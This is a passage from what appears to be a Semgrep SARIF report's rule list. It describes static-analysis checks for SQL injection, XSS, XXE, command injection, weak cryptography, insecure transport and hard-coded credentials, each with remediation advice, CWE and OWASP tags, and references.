Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","id":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","name":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pgx-sqli.pgx-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"help":{"markdown":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","id":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","name":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","id":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","name":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"help":{"markdown":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate)\n - [https://www.php.net/manual/en/function.openssl-decrypt.php](https://www.php.net/manual/en/function.openssl-decrypt.php)\n","text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"helpUri":"https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","id":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","name":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","properties":{"precision":"very-high","tags":["CWE-252: Unchecked Return Value","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password","id":"go.secrets.pg.pg-empty-password.pg-empty-password","name":"go.secrets.pg.pg-empty-password.pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-empty-password.pg-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","id":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","name":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","id":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","name":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","properties":{"precision":"very-high","tags":["CWE-296: Improper Following of a Certificate's Chain of Trust","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","id":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","name":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","id":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","name":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"help":{"markdown":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","id":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","name":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n - [https://github.com/actions/github-script](https://github.com/actions/github-script)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection","id":"yaml.github-actions.security.github-script-injection.github-script-injection","name":"yaml.github-actions.security.github-script-injection.github-script-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.github-script-injection.github-script-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","id":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","name":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"help":{"markdown":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n","text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string","id":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","name":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.formatted-template-string.formatted-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","id":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","name":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` 